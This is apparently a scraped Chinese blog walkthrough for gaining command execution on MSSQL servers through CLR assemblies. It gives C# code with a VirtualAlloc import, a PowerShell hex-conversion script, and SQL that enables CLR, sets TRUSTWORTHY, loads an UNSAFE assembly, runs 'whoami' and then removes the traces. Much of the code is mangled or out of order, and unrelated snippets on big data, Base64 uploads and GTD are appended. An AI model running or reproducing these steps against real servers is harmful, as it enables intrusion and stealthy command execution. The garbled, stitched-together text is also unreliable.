一、mssql clr介紹:
在 mssql 2005 之後的版本中,預設新增了對 clr 的支援,支援.net 框架
二、利用過程
首先建立乙個dll,dll的功能命令執行
using system; using system.data; using system.diagnostics; using system.data.sqltypes; using microsoft.sqlserver.server; using system.threading; using system.runtime.interopservices;namespace hi.test catch ( exception ex )
}public static void runproc( string proc, string arg )
public static string processarch()
[dllimport( "kernel32.dll" )] static extern intptr virtualalloc( intptr lpstartaddr, uint size, uint flallocationtype, uint flprotect );
} }
本地編譯後生成dll檔案:c:\windows\microsoft.net\framework\v2.0.50727\csc.exe /target:library c:\1.cs
因為要不落地執行,所以要把生成出來的檔案轉成hex,用到powershell轉成hex
$assemblyfile = "利用上面的那段 hex 建立儲存過程,執行系統命令,單句執行。c:\users\hello\desktop\1.dll
"$stringbuilder = new-object -type system.text.stringbuilder
create assembly [my_assembly] authorization [dbo] from `n0x
") | out-null
$filestream = [io.file]::openread($assemblyfile
)while (($byte = $filestream.readbyte()) -gt -1)
`nwith permission_set = unsafe
") | out-null
go") | out-null
") | out-null
create procedure [dbo].[clr_exec] @execcommand nvarchar (4000) as external name [my_assembly].[storedprocedures].[clr_exec];
") | out-null
go") | out-null
") | out-null
exec[dbo].[clr_exec] 'whoami'
") | out-null
go") | out-null
") | out-null
$stringbuilder.tostring() -join "" | out-file d:\2221.txt
use msdb;
alter database master set trustworthy on;
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'clr enabled',1;reconfigure;
create assembly sysinfo from 0x..... with permission_set=unsafe;
create procedure sysinfo_run_proc(@proc nvarchar(max),@arg nvarchar(max)) as external name sysinfo.[hi.test.sqlclr].runproc;
create function sysinfo_run(@proc nvarchar(max),@arg nvarchar(max)) returns nvarchar(max) as external name sysinfo.[hi.test.sqlclr].run;
select msdb.dbo.sysinfo_run('whoami','/user')
利用完畢之後刪除建立的儲存過程,恢復clr為原始狀態
drop function sysinfo_run;
drop procedure sysinfo_run_proc;
drop assembly sysinfo;
exec sp_configure 'clr enabled',0;
reconfigure with override;
exec sp_configure 'show advanced options',0;
reconfigure with override;
大資料概念只飄在半空不落地,怎麼破解?
大資料概念已經在中國企業界 飄 了好久了,但不得不說,目前面臨的窘境讓人十分尷尬。到目前為止,企業界都還沒有亮眼的實施案例。原因何在?尤其是能源等傳統行業,不是一直都由工程師和科學家主導嗎?這些數字型人才不是一向善於運用精湛的學科能力獲取事實和資料,進而有理有據地得出結論 制定決策嗎?那些連線著新型...
上傳檔案不落地轉Base64字串
本來採用的方式是 前端對做base64處理,後端組裝下直接呼叫第三方介面,然後將結果返回給前端展示。然而聯調過程中,發現前端對轉換base64字串後,大小擴了近一倍,傳輸到後台後,存在識別不準確,資料丟失的情況,字元太多,後端除錯也比較麻煩。更改前後端呼叫方式,採用前端不進行base64處理,使用檔...
GTD中落地執行篇
前面幾篇主要是分享gtd對事情進行 收集 分類 組織 今天主要是想分享 落地執行 先來看乙個案例 案例 來自於 小強公升職記 通過這個案例我們看出 1 當我們通過對事情 收集 歸類 拆分,組織 之後,當我們要去著手去做的時候,發現使不上力。主要原因 1 發現做之前 情緒狀態不好,焦慮緊張 腦中總想趕...